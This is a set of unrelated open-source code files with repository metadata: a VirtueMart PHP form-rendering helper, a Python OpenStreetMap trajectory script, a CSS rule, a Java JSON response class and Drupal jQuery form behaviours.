@since 1.0.5 */ function vmGetCharset() { $iso = explode( '=', @constant('_ISO') ); if( !empty( $iso[1] )) { return $iso[1]; } else { return 'UTF-8'; } } /** * Generate HTML code for a row using VmHTML function * * @func string : function to call * @label string : Text Label * @args array : arguments * @return string: HTML code for row table */ function row($func,$label){ $VmHTML="VmHTML"; $passedArgs = func_get_args(); array_shift( $passedArgs );//remove function array_shift( $passedArgs );//remove label $args = array(); foreach ($passedArgs as $k => $v) { $args[] = &$passedArgs[$k]; } $lang =& JFactory::getLanguage(); $label = $lang->hasKey($label.'_TIP') ? '<span class="hasTip" title="'.JText::_($label.'_TIP').'">'.JText::_($label).'</span>' : JText::_($label) ; $html = ' <tr> <td class="key"> '.$label.' </td> <td> '.call_user_func_array(array($VmHTML, $func), $args).' </td> </tr>'; return $html ; } /* simple value display */ function value( $value ){ $lang =& JFactory::getLanguage(); return $lang->hasKey($value) ? JText::_($value) : $value; } /* simple raw render */ function raw( $value ){ return $value; } /** * Generate HTML code for a checkbox * * @param string Name for the chekcbox * @param mixed Current value of the checkbox * @param mixed Value to assign when checkbox is checked * @param mixed Value to assign when checkbox is not checked * @return string HTML code for checkbox */ function checkbox($name, $value, $checkedValue=1, $uncheckedValue=0, $extraAttribs = '') { if ($value == $checkedValue) { $checked = 'checked="checked"'; } else { $checked = ''; } $htmlcode = '<input type="hidden" name="' . $name . '" value="' . $uncheckedValue . '">'; $htmlcode .= '<input '.$extraAttribs.' id="' . $name . '" type="checkbox" name="' . $name . '" value="' . $checkedValue . '" ' . $checked . ' />'; return $htmlcode; } /** * Prints an HTML dropdown box named $name using $arr to * load the drop down. If $value is in $arr, then $value * will be the selected option in the dropdown. * @author gday * @author soeren * * @param string $name The name of the select element * @param string $value The pre-selected value * @param array $arr The array containting $key and $val * @param int $size The size of the select element * @param string $multiple use "multiple=\"multiple\" to have a multiple choice select list * @param string $extra More attributes when needed * @return string HTML drop-down list */ function selectList($name, $value, $arrIn, $size=1, $multiple="", $extra="") { $html = ''; if( empty( $arrIn ) ) { $arr = array(); } else { if(!is_array($arrIn)){ $arr=array($arrIn); } else { $arr=$arrIn; } } $html = '<select class="inputbox" id="'.$name.'" name="'.$name.'" size="'.$size.'" '.$multiple.' '.$extra.'>'; while (list($key, $val) = each($arr)) { // foreach ($arr as $key=>$val){ $selected = ""; if( is_array( $value )) { if( in_array( $key, $value )) { $selected = 'selected="selected"'; } } else { if(strtolower($value) == strtolower($key) ) { $selected = 'selected="selected"'; } } $html .= '<option value="'.$key.'" '.$selected.'>'.self::shopMakeHtmlSafe($val); $html .= '</option>'; } $html .= '</select>'; return $html; } // /** // * // */ // function selectListParamParser( $arrIn, $tag_name, $tag_attribs, $key, $text, $selected, $required=0 ) { //// function selectListParamParser($tag_name ,$tag_attribs ,$arrIn , $key, $text, $selected, $required=0 ) { // // echo '<br />$tag_name '.$tag_name; // echo '<br />$tag_attribs '.$tag_attribs; // echo '<br />$key '.$key; // echo '<br />$text '.$text; // echo '<br />$selected '.$selected; // if(empty($arrIn)){ // return 'Error selectListParamParser no first argument given'; // } // if(!is_array($arrIn)){ // $arr=array($arrIn); // } else { // $arr=$arrIn; // } // reset( $arr ); // $html = "\n<select name=\"$tag_name\" id=\"".str_replace('[]', '', $tag_name)."\" $tag_attribs>"; // if(!$required) $html .= "\n\t<option value=\"\">".JText::_('COM_VIRTUEMART_SELECT')."</option>"; // $n=count( $arr ); // for ($i=0; $i < $n; $i++ ) { // // $k = stripslashes($arr[$i]->$key); // $t = stripslashes($arr[$i]->$text); // $id = isset($arr[$i]->id) ? $arr[$i]->id : null; // // $extra = ''; // $extra .= $id ? " id=\"" . $arr[$i]->id . "\"" : ''; // if (is_array( $selected )) { // foreach ($selected as $obj) { // $k2 = stripslashes($obj->$key); // if ($k == $k2) { // $extra .= " selected=\"selected\""; // break; // } // } // } else { // $extra .= ($k == stripslashes($selected) ? " selected=\"selected\"" : ''); // } // $html .= "\n\t<option value=\"".$k."\"$extra>"; // if( $t[0] == '_' ) $t = substr( $t, 1 ); // $html .= JText::_($t); // $html .= "</option>"; // } // $html .= "\n</select>\n"; // return $html; // } /** * Creates a Radio Input List * * @param string $name * @param string $value default value * @param string $arr * @param string $extra * @return string */ function radioList($name, $value, &$arr, $extra="") { $html = ''; if( empty( $arr ) ) { $arr = array(); } $html = ''; $i = 0; foreach($arr as $key => $val) { $checked = ''; if( is_array( $value )) { if( in_array( $key, $value )) { $checked = 'checked="checked"'; } } else { if(strtolower($value) == strtolower($key) ) { $checked = 'checked="checked"'; } } $html .= '<input type="radio" name="'.$name.'" id="'.$name.$i.'" value="'.htmlspecialchars($key, ENT_QUOTES).'" '.$checked.' '.$extra." />\n"; $html .= '<label for="'.$name.$i++.'">'.$val."</label><br />\n"; } return $html; } /** * Creates radio List * @param array $radios * @param string $name * @param string $default * @return string */ function radio( $name, $radios, $default,$key='value',$text='text') { return '<fieldset class="radio">'.JHTML::_('select.radiolist', $radios, $name, '', $key, $text, $default).'</fieldset>'; } /** * Creating rows with boolean list * * @author Patrick Kohl * @param string $label * @param string $name * @param string $value * */ public function booleanlist ( $name, $value,$class='class="inputbox"'){ return '<fieldset class="radio">'.JHTML::_( 'select.booleanlist', $name , $class , $value).'</fieldset>' ; } /** * Creating rows with input fields * * @author Patrick Kohl * @param string $text * @param string $name * @param string $value */ public function input($name,$value,$class='class="inputbox"',$readonly='',$size='37',$maxlength='255',$more=''){ return '<input type="text" '.$readonly.' '.$class.' id="'.$name.'" name="'.$name.'" size="'.$size.'" maxlength="'.$maxlength.'" value="'.$value.'" />'.$more.'</td>'; } /** * Creating rows with input fields * * @author Patrick Kohl * @param string $text * @param string $name * @param string $value */ public function textarea($name,$value,$class='class="inputbox"',$cols='70',$rows="10"){ return '<textarea '.$class.' id="'.$name.'" name="'.$name.'" cols="'.$cols.'" rows="'.$rows.'"/>'.$value.'</textarea ></td>'; } /** * render editor code * * @author Patrick Kohl * @param string $text * @param string $name * @param string $value */ public function editor($name,$value,$size='100%',$height='300',$hide = array('pagebreak', 'readmore')){ $editor =& JFactory::getEditor(); return $editor->display($name, $value, $size, $height, null, null ,$hide ) ; } /** * * @author Patrick Kohl * @param array $options( value & text) * @param string $name option name * @param string $defaut defaut value * @param string $key option value * @param string $text option text * @param boolean $zero add a '0' value in the option * return a select list */ public function select($name, $options, $default = '0',$attrib = "onchange='submit();'",$key ='value' ,$text ='text', $zero=true){ if ($zero==true) { $option = array($key =>"0", $text => JText::_('COM_VIRTUEMART_LIST_EMPTY_OPTION')); $options = array_merge(array($option), $options); } return JHTML::_('select.genericlist', $options,$name,$attrib,$key,$text,$default,false,true); } /** * renders the hidden input * @author Max Milbers */ public function inputHidden($values){ $html=''; foreach($values as $k=>$v){ $html .= '<input type="hidden" name="'.$k.'" value="'.$v.'" />'; } return $html; } /** * renders the Edit Form hidden default input * @author Patrick Kohl */ public function HiddenEdit($controller=0, $task=''){ if (!$controller) $controller = JRequest::getCmd('view'); return ' <input type="hidden" name="task" value="'.$task.'" /> <input type="hidden" name="option" value="com_virtuemart" /> <input type="hidden" name="boxchecked" value="0" /> <input type="hidden" name="controller" value="'.$controller.'" /> '. JHTML::_( 'form.token' ) ; } /** * @author Patrick Kohl * @var $type type of regular Expression to validate * $type can be I integer, F Float, A date, M, time, T text, L link, U url, P phone *@bool $required field is required *@Int $min minimum of char *@Int $max max of char *@var $match original ID field to compare with this such as Email, passsword *@ Return $html class for validate javascript **/ public function validate($type='',$required=true, $min=null,$max=null,$match=null) { if ($required) $validTxt = 'required'; else $validTxt = 'optional'; if (isset($min)) $validTxt .= ',minSize['.$min.']'; if (isset($max)) $validTxt .= ',maxSize['.$max.']'; static $validateID=0 ; $validateID++; if ($type=='S' ) return 'id="validate'.$validateID.'" class="validate[required,minSize[2],maxSize[255]]"'; $validate = array ( 'I'=>'onlyNumberSp', 'F'=>'number','D'=>'dateTime','A'=>'date','M'=>'time','T'=>'Text','L'=>'link','U'=>'url','P'=>'phone'); if (isset ($validate[$type])) $validTxt .= ',custom['.$validate[$type].']'; $html ='id="validate'.$validateID.'" class="validate['.$validTxt.']"'; return $html ; } }
kenbabu/emproj
administrator/components/com_virtuemart/helpers/html.php
PHP
gpl-2.0
12,034
#!/usr/bin/python import os import sys import re # file name unified by the following rule: # 1. always save the osm under ../osmFiles directory # 2. the result automatically generate to ../trajectorySets # 3.1. change variable "osmName", or # 3.2. use command argument to specify osm file name # 4. this script generates a set of paths, each includes a series of of points, # and save in originOfLife folder for further parsing. # also, please scroll down the very bottom to see what's the next step osmName = 'San_Jose_20x20.osm' # sample: 'ucla.osm' #osmName = 'Los_Angeles_20x20.osm' # sample: 'ucla.osm' #osmName = 'ucla_5x5.osm' # sample: 'ucla.osm' optionAllowLoop = False # most of the cases are building bounding boxes # support system parameters if len(sys.argv) >= 2: osmName = sys.argv[1] if len(sys.argv) >= 3: optionAllowLoop = (sys.argv[2] == '1') inFile = '../../../Data/osmFiles/' + osmName if len(osmName.split('.')) == 1: osmNameWoExt = osmName else: osmNameWoExt = osmName[:-(1+len(osmName.split('.')[-1]))] outRootDir = '../../../Data/trajectorySets/' outFile = outRootDir + osmNameWoExt + '.tfix' print('input file = ' + inFile) print('output file = ' + outFile) print('') f = open('/tmp/in', 'w') f.write('<in>' + inFile + '</in>'); f.close() # the following command can be slow. a 3x3 mile^2 area takes 53 seconds to generate the result. xmlWayDetail = outRootDir + 'originOfLife/' + osmNameWoExt + '.xml' cmd = 'basex findWayTrajectory.xq > ' + xmlWayDetail print('CMD: ' + cmd) if os.path.isfile(xmlWayDetail): print('File existed. Skip.') else: os.system(cmd) # the next step should be executing the python3 ../makeElevSegMap.py with the input # parameter outFile, but because of the relative folder path issue, integrating # makeElevSegMap.py into this code needs to make big changes. So at this stage, # we still stay on manually executing that script.
nesl/mercury
Services/Mapping/fixProgram/script.py
Python
gpl-2.0
1,925
#google-map { height: 300px; }
gerardchic/economat
web/css/cf0649f_back-office_3.css
CSS
gpl-2.0
34
package com.cf.tradeprocessor.web.rest.response; import com.fasterxml.jackson.annotation.JsonInclude; import com.fasterxml.jackson.annotation.JsonInclude.Include; public class JsonResponse { private Boolean success; @JsonInclude(Include.NON_NULL) private Object result; public JsonResponse() { } private JsonResponse(Boolean success, Object result) { this.success = success; this.result = result; } public static JsonResponse success(Object result) { return new JsonResponse(true, result); } public static JsonResponse success() { return success(null); } public static JsonResponse error(String message) { return new JsonResponse(false, message); } public static JsonResponse error() { return error(null); } public Boolean getSuccess() { return success; } public Object getResult() { return result; } }
camposer/cf
trade-processor/src/main/java/com/cf/tradeprocessor/web/rest/response/JsonResponse.java
Java
gpl-2.0
855
/*jslint browser: true */ /*global jQuery: true */ /** * jQuery Cookie plugin * * Copyright (c) 2010 Klaus Hartl (stilbuero.de) * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * */ // TODO JsDoc /** * Create a cookie with the given key and value and other optional parameters. * * @example $.cookie('the_cookie', 'the_value'); * @desc Set the value of a cookie. * @example $.cookie('the_cookie', 'the_value', { expires: 7, path: '/', domain: 'jquery.com', secure: true }); * @desc Create a cookie with all available options. * @example $.cookie('the_cookie', 'the_value'); * @desc Create a session cookie. * @example $.cookie('the_cookie', null); * @desc Delete a cookie by passing null as value. Keep in mind that you have to use the same path and domain * used when the cookie was set. * * @param String key The key of the cookie. * @param String value The value of the cookie. * @param Object options An object literal containing key/value pairs to provide optional cookie attributes. * @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object. * If a negative value is specified (e.g. a date in the past), the cookie will be deleted. * If set to null or omitted, the cookie will be a session cookie and will not be retained * when the the browser exits. * @option String path The value of the path atribute of the cookie (default: path of page that created the cookie). * @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie). * @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will * require a secure protocol (like HTTPS). * @type undefined * * @name $.cookie * @cat Plugins/Cookie * @author Klaus Hartl/[email protected] */ /** * Get the value of a cookie with the given key. * * @example $.cookie('the_cookie'); * @desc Get the value of a cookie. * * @param String key The key of the cookie. * @return The value of the cookie. * @type String * * @name $.cookie * @cat Plugins/Cookie * @author Klaus Hartl/[email protected] */ jQuery.cookie = function (key, value, options) { // key and value given, set cookie... if (arguments.length > 1 && (value === null || typeof value !== "object")) { options = jQuery.extend({}, options); if (value === null) { options.expires = -1; } if (typeof options.expires === 'number') { var days = options.expires, t = options.expires = new Date(); t.setDate(t.getDate() + days); } return (document.cookie = [ encodeURIComponent(key), '=', options.raw ? String(value) : encodeURIComponent(String(value)), options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE options.path ? '; path=' + options.path : '', options.domain ? '; domain=' + options.domain : '', options.secure ? '; secure' : '' ].join('')); } // key and possibly options given, get cookie... options = value || {}; var result, decode = options.raw ? function (s) { return s; } : decodeURIComponent; return (result = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? decode(result[1]) : null; }; ; (function ($) { /** * This script transforms a set of fieldsets into a stack of vertical * tabs. Another tab pane can be selected by clicking on the respective * tab. * * Each tab may have a summary which can be updated by another * script. For that to work, each fieldset has an associated * 'verticalTabCallback' (with jQuery.data() attached to the fieldset), * which is called every time the user performs an update to a form * element inside the tab pane. */ Drupal.behaviors.verticalTabs = { attach: function (context) { $('.vertical-tabs-panes', context).once('vertical-tabs', function () { var focusID = $(':hidden.vertical-tabs-active-tab', this).val(); var tab_focus; // Check if there are some fieldsets that can be converted to vertical-tabs var $fieldsets = $('> fieldset', this); if ($fieldsets.length == 0) { return; } // Create the tab column. var tab_list = $('<ul class="vertical-tabs-list"></ul>'); $(this).wrap('<div class="vertical-tabs clearfix"></div>').before(tab_list); // Transform each fieldset into a tab. $fieldsets.each(function () { var vertical_tab = new Drupal.verticalTab({ title: $('> legend', this).text(), fieldset: $(this) }); tab_list.append(vertical_tab.item); $(this) .removeClass('collapsible collapsed') .addClass('vertical-tabs-pane') .data('verticalTab', vertical_tab); if (this.id == focusID) { tab_focus = $(this); } }); $('> li:first', tab_list).addClass('first'); $('> li:last', tab_list).addClass('last'); if (!tab_focus) { // If the current URL has a fragment and one of the tabs contains an // element that matches the URL fragment, activate that tab. if (window.location.hash && $(this).find(window.location.hash).length) { tab_focus = $(this).find(window.location.hash).closest('.vertical-tabs-pane'); } else { tab_focus = $('> .vertical-tabs-pane:first', this); } } if (tab_focus.length) { tab_focus.data('verticalTab').focus(); } }); } }; /** * The vertical tab object represents a single tab within a tab group. * * @param settings * An object with the following keys: * - title: The name of the tab. * - fieldset: The jQuery object of the fieldset that is the tab pane. */ Drupal.verticalTab = function (settings) { var self = this; $.extend(this, settings, Drupal.theme('verticalTab', settings)); this.link.click(function () { self.focus(); return false; }); // Keyboard events added: // Pressing the Enter key will open the tab pane. this.link.keydown(function(event) { if (event.keyCode == 13) { self.focus(); // Set focus on the first input field of the visible fieldset/tab pane. $("fieldset.vertical-tabs-pane :input:visible:enabled:first").focus(); return false; } }); this.fieldset .bind('summaryUpdated', function () { self.updateSummary(); }) .trigger('summaryUpdated'); }; Drupal.verticalTab.prototype = { /** * Displays the tab's content pane. */ focus: function () { this.fieldset .siblings('fieldset.vertical-tabs-pane') .each(function () { var tab = $(this).data('verticalTab'); tab.fieldset.hide(); tab.item.removeClass('selected'); }) .end() .show() .siblings(':hidden.vertical-tabs-active-tab') .val(this.fieldset.attr('id')); this.item.addClass('selected'); // Mark the active tab for screen readers. $('#active-vertical-tab').remove(); this.link.append('<span id="active-vertical-tab" class="element-invisible">' + Drupal.t('(active tab)') + '</span>'); }, /** * Updates the tab's summary. */ updateSummary: function () { this.summary.html(this.fieldset.drupalGetSummary()); }, /** * Shows a vertical tab pane. */ tabShow: function () { // Display the tab. this.item.show(); // Update .first marker for items. We need recurse from parent to retain the // actual DOM element order as jQuery implements sortOrder, but not as public // method. this.item.parent().children('.vertical-tab-button').removeClass('first') .filter(':visible:first').addClass('first'); // Display the fieldset. this.fieldset.removeClass('vertical-tab-hidden').show(); // Focus this tab. this.focus(); return this; }, /** * Hides a vertical tab pane. */ tabHide: function () { // Hide this tab. this.item.hide(); // Update .first marker for items. We need recurse from parent to retain the // actual DOM element order as jQuery implements sortOrder, but not as public // method. this.item.parent().children('.vertical-tab-button').removeClass('first') .filter(':visible:first').addClass('first'); // Hide the fieldset. this.fieldset.addClass('vertical-tab-hidden').hide(); // Focus the first visible tab (if there is one). var $firstTab = this.fieldset.siblings('.vertical-tabs-pane:not(.vertical-tab-hidden):first'); if ($firstTab.length) { $firstTab.data('verticalTab').focus(); } return this; } }; /** * Theme function for a vertical tab. * * @param settings * An object with the following keys: * - title: The name of the tab. * @return * This function has to return an object with at least these keys: * - item: The root tab jQuery element * - link: The anchor tag that acts as the clickable area of the tab * (jQuery version) * - summary: The jQuery element that contains the tab summary */ Drupal.theme.prototype.verticalTab = function (settings) { var tab = {}; tab.item = $('<li class="vertical-tab-button" tabindex="-1"></li>') .append(tab.link = $('<a href="#"></a>') .append(tab.title = $('<strong></strong>').text(settings.title)) .append(tab.summary = $('<span class="summary"></span>') ) ); return tab; }; })(jQuery); ; (function ($) { /** * The base States namespace. * * Having the local states variable allows us to use the States namespace * without having to always declare "Drupal.states". */ var states = Drupal.states = { // An array of functions that should be postponed. postponed: [] }; /** * Attaches the states. */ Drupal.behaviors.states = { attach: function (context, settings) { var $context = $(context); for (var selector in settings.states) { for (var state in settings.states[selector]) { new states.Dependent({ element: $context.find(selector), state: states.State.sanitize(state), constraints: settings.states[selector][state] }); } } // Execute all postponed functions now. while (states.postponed.length) { (states.postponed.shift())(); } } }; /** * Object representing an element that depends on other elements. * * @param args * Object with the following keys (all of which are required): * - element: A jQuery object of the dependent element * - state: A State object describing the state that is dependent * - constraints: An object with dependency specifications. Lists all elements * that this element depends on. It can be nested and can contain arbitrary * AND and OR clauses. */ states.Dependent = function (args) { $.extend(this, { values: {}, oldValue: null }, args); this.dependees = this.getDependees(); for (var selector in this.dependees) { this.initializeDependee(selector, this.dependees[selector]); } }; /** * Comparison functions for comparing the value of an element with the * specification from the dependency settings. If the object type can't be * found in this list, the === operator is used by default. */ states.Dependent.comparisons = { 'RegExp': function (reference, value) { return reference.test(value); }, 'Function': function (reference, value) { // The "reference" variable is a comparison function. return reference(value); }, 'Number': function (reference, value) { // If "reference" is a number and "value" is a string, then cast reference // as a string before applying the strict comparison in compare(). Otherwise // numeric keys in the form's #states array fail to match string values // returned from jQuery's val(). return (typeof value === 'string') ? compare(reference.toString(), value) : compare(reference, value); } }; states.Dependent.prototype = { /** * Initializes one of the elements this dependent depends on. * * @param selector * The CSS selector describing the dependee. * @param dependeeStates * The list of states that have to be monitored for tracking the * dependee's compliance status. */ initializeDependee: function (selector, dependeeStates) { var state; // Cache for the states of this dependee. this.values[selector] = {}; for (var i in dependeeStates) { if (dependeeStates.hasOwnProperty(i)) { state = dependeeStates[i]; // Make sure we're not initializing this selector/state combination twice. if ($.inArray(state, dependeeStates) === -1) { continue; } state = states.State.sanitize(state); // Initialize the value of this state. this.values[selector][state.name] = null; // Monitor state changes of the specified state for this dependee. $(selector).bind('state:' + state, $.proxy(function (e) { this.update(selector, state, e.value); }, this)); // Make sure the event we just bound ourselves to is actually fired. new states.Trigger({ selector: selector, state: state }); } } }, /** * Compares a value with a reference value. * * @param reference * The value used for reference. * @param selector * CSS selector describing the dependee. * @param state * A State object describing the dependee's updated state. * * @return * true or false. */ compare: function (reference, selector, state) { var value = this.values[selector][state.name]; if (reference.constructor.name in states.Dependent.comparisons) { // Use a custom compare function for certain reference value types. return states.Dependent.comparisons[reference.constructor.name](reference, value); } else { // Do a plain comparison otherwise. return compare(reference, value); } }, /** * Update the value of a dependee's state. * * @param selector * CSS selector describing the dependee. * @param state * A State object describing the dependee's updated state. * @param value * The new value for the dependee's updated state. */ update: function (selector, state, value) { // Only act when the 'new' value is actually new. if (value !== this.values[selector][state.name]) { this.values[selector][state.name] = value; this.reevaluate(); } }, /** * Triggers change events in case a state changed. */ reevaluate: function () { // Check whether any constraint for this dependent state is satisifed. var value = this.verifyConstraints(this.constraints); // Only invoke a state change event when the value actually changed. if (value !== this.oldValue) { // Store the new value so that we can compare later whether the value // actually changed. this.oldValue = value; // Normalize the value to match the normalized state name. value = invert(value, this.state.invert); // By adding "trigger: true", we ensure that state changes don't go into // infinite loops. this.element.trigger({ type: 'state:' + this.state, value: value, trigger: true }); } }, /** * Evaluates child constraints to determine if a constraint is satisfied. * * @param constraints * A constraint object or an array of constraints. * @param selector * The selector for these constraints. If undefined, there isn't yet a * selector that these constraints apply to. In that case, the keys of the * object are interpreted as the selector if encountered. * * @return * true or false, depending on whether these constraints are satisfied. */ verifyConstraints: function(constraints, selector) { var result; if ($.isArray(constraints)) { // This constraint is an array (OR or XOR). var hasXor = $.inArray('xor', constraints) === -1; for (var i = 0, len = constraints.length; i < len; i++) { if (constraints[i] != 'xor') { var constraint = this.checkConstraints(constraints[i], selector, i); // Return if this is OR and we have a satisfied constraint or if this // is XOR and we have a second satisfied constraint. if (constraint && (hasXor || result)) { return hasXor; } result = result || constraint; } } } // Make sure we don't try to iterate over things other than objects. This // shouldn't normally occur, but in case the condition definition is bogus, // we don't want to end up with an infinite loop. else if ($.isPlainObject(constraints)) { // This constraint is an object (AND). for (var n in constraints) { if (constraints.hasOwnProperty(n)) { result = ternary(result, this.checkConstraints(constraints[n], selector, n)); // False and anything else will evaluate to false, so return when any // false condition is found. if (result === false) { return false; } } } } return result; }, /** * Checks whether the value matches the requirements for this constraint. * * @param value * Either the value of a state or an array/object of constraints. In the * latter case, resolving the constraint continues. * @param selector * The selector for this constraint. If undefined, there isn't yet a * selector that this constraint applies to. In that case, the state key is * propagates to a selector and resolving continues. * @param state * The state to check for this constraint. If undefined, resolving * continues. * If both selector and state aren't undefined and valid non-numeric * strings, a lookup for the actual value of that selector's state is * performed. This parameter is not a State object but a pristine state * string. * * @return * true or false, depending on whether this constraint is satisfied. */ checkConstraints: function(value, selector, state) { // Normalize the last parameter. If it's non-numeric, we treat it either as // a selector (in case there isn't one yet) or as a trigger/state. if (typeof state !== 'string' || (/[0-9]/).test(state[0])) { state = null; } else if (typeof selector === 'undefined') { // Propagate the state to the selector when there isn't one yet. selector = state; state = null; } if (state !== null) { // constraints is the actual constraints of an element to check for. state = states.State.sanitize(state); return invert(this.compare(value, selector, state), state.invert); } else { // Resolve this constraint as an AND/OR operator. return this.verifyConstraints(value, selector); } }, /** * Gathers information about all required triggers. */ getDependees: function() { var cache = {}; // Swivel the lookup function so that we can record all available selector- // state combinations for initialization. var _compare = this.compare; this.compare = function(reference, selector, state) { (cache[selector] || (cache[selector] = [])).push(state.name); // Return nothing (=== undefined) so that the constraint loops are not // broken. }; // This call doesn't actually verify anything but uses the resolving // mechanism to go through the constraints array, trying to look up each // value. Since we swivelled the compare function, this comparison returns // undefined and lookup continues until the very end. Instead of lookup up // the value, we record that combination of selector and state so that we // can initialize all triggers. this.verifyConstraints(this.constraints); // Restore the original function. this.compare = _compare; return cache; } }; states.Trigger = function (args) { $.extend(this, args); if (this.state in states.Trigger.states) { this.element = $(this.selector); // Only call the trigger initializer when it wasn't yet attached to this // element. Otherwise we'd end up with duplicate events. if (!this.element.data('trigger:' + this.state)) { this.initialize(); } } }; states.Trigger.prototype = { initialize: function () { var trigger = states.Trigger.states[this.state]; if (typeof trigger == 'function') { // We have a custom trigger initialization function. trigger.call(window, this.element); } else { for (var event in trigger) { if (trigger.hasOwnProperty(event)) { this.defaultTrigger(event, trigger[event]); } } } // Mark this trigger as initialized for this element. this.element.data('trigger:' + this.state, true); }, defaultTrigger: function (event, valueFn) { var oldValue = valueFn.call(this.element); // Attach the event callback. this.element.bind(event, $.proxy(function (e) { var value = valueFn.call(this.element, e); // Only trigger the event if the value has actually changed. if (oldValue !== value) { this.element.trigger({ type: 'state:' + this.state, value: value, oldValue: oldValue }); oldValue = value; } }, this)); states.postponed.push($.proxy(function () { // Trigger the event once for initialization purposes. this.element.trigger({ type: 'state:' + this.state, value: oldValue, oldValue: null }); }, this)); } }; /** * This list of states contains functions that are used to monitor the state * of an element. Whenever an element depends on the state of another element, * one of these trigger functions is added to the dependee so that the * dependent element can be updated. */ states.Trigger.states = { // 'empty' describes the state to be monitored empty: { // 'keyup' is the (native DOM) event that we watch for. 'keyup': function () { // The function associated to that trigger returns the new value for the // state. return this.val() == ''; } }, checked: { 'change': function () { return this.attr('checked'); } }, // For radio buttons, only return the value if the radio button is selected. value: { 'keyup': function () { // Radio buttons share the same :input[name="key"] selector. if (this.length > 1) { // Initial checked value of radios is undefined, so we return false. return this.filter(':checked').val() || false; } return this.val(); }, 'change': function () { // Radio buttons share the same :input[name="key"] selector. if (this.length > 1) { // Initial checked value of radios is undefined, so we return false. return this.filter(':checked').val() || false; } return this.val(); } }, collapsed: { 'collapsed': function(e) { return (typeof e !== 'undefined' && 'value' in e) ? e.value : this.is('.collapsed'); } } }; /** * A state object is used for describing the state and performing aliasing. */ states.State = function(state) { // We may need the original unresolved name later. this.pristine = this.name = state; // Normalize the state name. while (true) { // Iteratively remove exclamation marks and invert the value. while (this.name.charAt(0) == '!') { this.name = this.name.substring(1); this.invert = !this.invert; } // Replace the state with its normalized name. if (this.name in states.State.aliases) { this.name = states.State.aliases[this.name]; } else { break; } } }; /** * Creates a new State object by sanitizing the passed value. */ states.State.sanitize = function (state) { if (state instanceof states.State) { return state; } else { return new states.State(state); } }; /** * This list of aliases is used to normalize states and associates negated names * with their respective inverse state. */ states.State.aliases = { 'enabled': '!disabled', 'invisible': '!visible', 'invalid': '!valid', 'untouched': '!touched', 'optional': '!required', 'filled': '!empty', 'unchecked': '!checked', 'irrelevant': '!relevant', 'expanded': '!collapsed', 'readwrite': '!readonly' }; states.State.prototype = { invert: false, /** * Ensures that just using the state object returns the name. */ toString: function() { return this.name; } }; /** * Global state change handlers. These are bound to "document" to cover all * elements whose state changes. Events sent to elements within the page * bubble up to these handlers. We use this system so that themes and modules * can override these state change handlers for particular parts of a page. */ $(document).bind('state:disabled', function(e) { // Only act when this change was triggered by a dependency and not by the // element monitoring itself. if (e.trigger) { $(e.target) .attr('disabled', e.value) .closest('.form-item, .form-submit, .form-wrapper').toggleClass('form-disabled', e.value) .find('select, input, textarea').attr('disabled', e.value); // Note: WebKit nightlies don't reflect that change correctly. // See https://bugs.webkit.org/show_bug.cgi?id=23789 } }); $(document).bind('state:required', function(e) { if (e.trigger) { if (e.value) { $(e.target).closest('.form-item, .form-wrapper').find('label').append('<span class="form-required">*</span>'); } else { $(e.target).closest('.form-item, .form-wrapper').find('label .form-required').remove(); } } }); $(document).bind('state:visible', function(e) { if (e.trigger) { $(e.target).closest('.form-item, .form-submit, .form-wrapper').toggle(e.value); } }); $(document).bind('state:checked', function(e) { if (e.trigger) { $(e.target).attr('checked', e.value); } }); $(document).bind('state:collapsed', function(e) { if (e.trigger) { if ($(e.target).is('.collapsed') !== e.value) { $('> legend a', e.target).click(); } } }); /** * These are helper functions implementing addition "operators" and don't * implement any logic that is particular to states. */ // Bitwise AND with a third undefined state. function ternary (a, b) { return typeof a === 'undefined' ? b : (typeof b === 'undefined' ? a : a && b); } // Inverts a (if it's not undefined) when invert is true. function invert (a, invert) { return (invert && typeof a !== 'undefined') ? !a : a; } // Compares two values while ignoring undefined values. function compare (a, b) { return (a === b) ? (typeof a === 'undefined' ? a : true) : (typeof a === 'undefined' || typeof b === 'undefined'); } })(jQuery); ; (function ($) { /** * Retrieves the summary for the first element. */ $.fn.drupalGetSummary = function () { var callback = this.data('summaryCallback'); return (this[0] && callback) ? $.trim(callback(this[0])) : ''; }; /** * Sets the summary for all matched elements. * * @param callback * Either a function that will be called each time the summary is * retrieved or a string (which is returned each time). */ $.fn.drupalSetSummary = function (callback) { var self = this; // To facilitate things, the callback should always be a function. If it's // not, we wrap it into an anonymous function which just returns the value. if (typeof callback != 'function') { var val = callback; callback = function () { return val; }; } return this .data('summaryCallback', callback) // To prevent duplicate events, the handlers are first removed and then // (re-)added. .unbind('formUpdated.summary') .bind('formUpdated.summary', function () { self.trigger('summaryUpdated'); }) // The actual summaryUpdated handler doesn't fire when the callback is // changed, so we have to do this manually. .trigger('summaryUpdated'); }; /** * Sends a 'formUpdated' event each time a form element is modified. */ Drupal.behaviors.formUpdated = { attach: function (context) { // These events are namespaced so that we can remove them later. var events = 'change.formUpdated click.formUpdated blur.formUpdated keyup.formUpdated'; $(context) // Since context could be an input element itself, it's added back to // the jQuery object and filtered again. .find(':input').andSelf().filter(':input') // To prevent duplicate events, the handlers are first removed and then // (re-)added. .unbind(events).bind(events, function () { $(this).trigger('formUpdated'); }); } }; /** * Prepopulate form fields with information from the visitor cookie. */ Drupal.behaviors.fillUserInfoFromCookie = { attach: function (context, settings) { $('form.user-info-from-cookie').once('user-info-from-cookie', function () { var formContext = this; $.each(['name', 'mail', 'homepage'], function () { var $element = $('[name=' + this + ']', formContext); var cookie = $.cookie('Drupal.visitor.' + this); if ($element.length && cookie) { $element.val(cookie); } }); }); } }; })(jQuery); ;
tungcan1501/hdtv
sites/default/files/js/js_FxzL6y_vG1Dd9B-MsolHGVlVoN_lbUIGopU6FCDDV9U.js
JavaScript
gpl-2.0
29,612
